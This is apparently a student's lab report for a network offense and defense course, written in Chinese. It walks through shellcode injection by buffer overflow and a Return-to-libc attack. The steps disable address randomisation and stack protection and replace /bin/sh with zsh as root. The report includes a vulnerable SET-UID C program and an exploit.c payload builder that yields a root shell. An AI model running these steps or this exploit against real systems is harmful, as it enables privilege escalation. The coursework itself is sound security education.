20145333 《网络对抗技术》 PC平台逆向破解

20145333 《网络对抗技术》 PC平台逆向破解

Shellcode注入

基础知识

  • Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址。

实践过程

  • 先将环境设置为:堆栈可执行、地址随机化关闭

  • execstack -s pwn20145333命令来将堆栈设为可执行状态

  • execstack -q pwn20145333命令来查看文件pwn20145333的堆栈是否是可执行状态

  • more /proc/sys/kernel/randomize_va_space命令来查看地址随机化的状态

  • echo "0" > /proc/sys/kernel/randomize_va_space命令来关闭地址随机化

  • anything+retaddr+nops+shellcode的结构来构造,先估计返回地址所在位置,并且找到 shellcode 所在地址。

  • 要验证返回地址所在位置以及找到 shellcode 地址,需要使用GDB调试。打开另一个终端,先运行pwn20145333可执行文件。

  • 先不输入“回车”,在后面的调试过程中需要继续运行的时候再回车,此时在第一个终端,用gdb来调试pwn20145333进程,找到该进程的进程ID。

  • 打开gdb,用attach指令对该进程进行调试,对foo函数进行反汇编并在ret处设置断点。

  • 继续运行到断点处,显示当前esp的值并依照此位置显示接下来的内存地址内容,来分析我们之前猜测的返回地址位置是否正确以及shellcode的地址。(推算出 shellcode 地址为\xd1\xd3\xff\xff

  • 将返回地址修改为0xffffd3d1,执行pwn20145333,成功注入 shellcode

Return-to-libc攻击深入

  • 环境配置

  • 输入如下指令,创建32位C语言可编译的环境

      sudo apt-get update
    sudo apt-get install lib32z1 libc6-dev-i386
  • 输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。

  • 关闭地址随机化

      sudo sysctl -w kernel.randomize_va_space=0
  • 为了不让/bin/bash的防护程序起作用(为了防止shell攻击,程序被调用时会自动弃权),我们使用zsh来代替:

      sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit

  • 在tmp文件夹下创建“retlib.c”文件,并编译设置SET-UID

      #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
    }
  • GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 “–fno-stack-protector” 关闭这种机制。

  • 在tmp文件夹下准备“getenvaddr.c”文件用于读取环境变量,并编译。

      #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char const *argv[])
    {
    char *ptr;
    if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
    }
  • gcc -m32 -o getenvaddr getenvaddr.c

  • 把以下代码(攻击程序)保存为“exploit.c”文件,保存到 /tmp 目录下。

      #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
    char buf[40];
    FILE *badfile;
    badfile = fopen(".//badfile", "w");
    strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
    *(long *) &buf[32] =0x11111111; // "//bin//sh"
    *(long *) &buf[24] =0x22222222; // system()
    *(long *) &buf[36] =0x33333333; // exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
    }
    /*
    代码中“0x11111111”、“0x22222222”、“0x33333333”分别代表 BIN_SH、system、exit 的地址,需要我们接下来获取。
    */
  • 用刚才的 getenvaddr 程序获得 BIN_SH 地址。

  • gdb 获得 system 和 exit 地址。

  • 修改 exploit.c 文件。

  • 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c,然后先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限。

20145333 《网络对抗技术》 PC平台逆向破解的更多相关文章

  1. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  2. 2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解

    2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 目录 一.逆向及Bof基础实践说明 二.直接修改程序机器指令,改变程序执行流程 三.通过构造输入参数,造成BOF攻击,改变程 ...

  3. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  4. 20155305《网络对抗》PC平台逆向破解(二)

    20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...

  5. 20155311《网络对抗》PC平台逆向破解(二)

    20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  6. 20145221《网络对抗》PC平台逆向破解

    20145221<网络对抗>PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户 ...

  7. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  8. 20145201李子璇《网络对抗》PC平台逆向破解

    20145201<网络对抗>PC平台逆向破解 准备阶段 下载安装execstack. 获取shellcode的c语言代码 设置堆栈可执行 将环境设置为:堆栈可执行.地址随机化关闭(2开启, ...

  9. 20145219《网络对抗》PC平台逆向破解

    20145219<网络对抗>PC平台逆向破解 shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 (1) ...

  10. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

随机推荐

  1. PHP之变量范围

    前面的话 变量范围即它定义的上下文背景(也就是它的生效范围).在javascript中,并没有变量范围这一概念,相似的可能是作用域.但是,由于javscript使用的是词法作用域,指变量声明时的位置: ...

  2. Eclipse版GoogleI/O2014开源项目

    https://github.com/google/iosched谷歌原版是Gradle工程,用Eclipse开发的导入不了,所以搞了一个Elicpse工程,依赖的jar.库比较多,也比较难找... ...

  3. activemq 实战二 连接到ActiveMQ-Connecting to ActiveMQ

    The main role of a JMS broker such as ActiveMQ is to provide a communication infrastructure for clie ...

  4. 【Java nio】java nio笔记

    缓冲区操作:缓冲区,以及缓冲区如何工作,是所有I/O的基础.所谓“输入/输出”讲的无非就是把数据移出货移进缓冲区.进程执行I/O操作,归纳起来也就是向操作系统发出请求,让它要么把缓冲区里的数据排干,要 ...

  5. 图论之最短路径(1)——Floyd Warshall & Dijkstra算法

    开始图论学习的第二部分:最短路径. 由于知识储备还不充足,暂时不使用邻接表的方法来计算. 最短路径主要分为两部分:多源最短路径和单源最短路径问题 多源最短路径: 介绍最简单的Floyd Warshal ...

  6. ansible的入门级使用

      author: headsen  chen   date: 2018-08-02   11:46:35 1,ansible的安装 yum install epel-release yum -y i ...

  7. 【BZOJ2434】[NOI2011]阿狸的打字机 AC自动机+DFS序+树状数组

    [BZOJ2434][NOI2011]阿狸的打字机 Description 阿狸喜欢收藏各种稀奇古怪的东西,最近他淘到一台老式的打字机.打字机上只有28个按键,分别印有26个小写英文字母和'B'.'P ...

  8. 一致性哈希算法(consistent hashing)(转)

    http://blog.csdn.net/cywosp/article/details/23397179

  9. 大规模网站sesson会话保持思路及实践配置

    1.需求: 请教个问题:我用lvs的rr模式,(考虑过 ipvsadm -p,但是这样就失去了负载均衡的意义感觉),后端有10台web,用一台memcached专门用于存储session文件,但是现在 ...

  10. open live writer 安装 markdown 插件

    我自己用的是 OpenLiveWriter ,所以本篇只讲 OLW 的,WindowsLiveWriter 戳 MarkdownInWindowsLiveWriter,OpenLiveWriter 戳 ...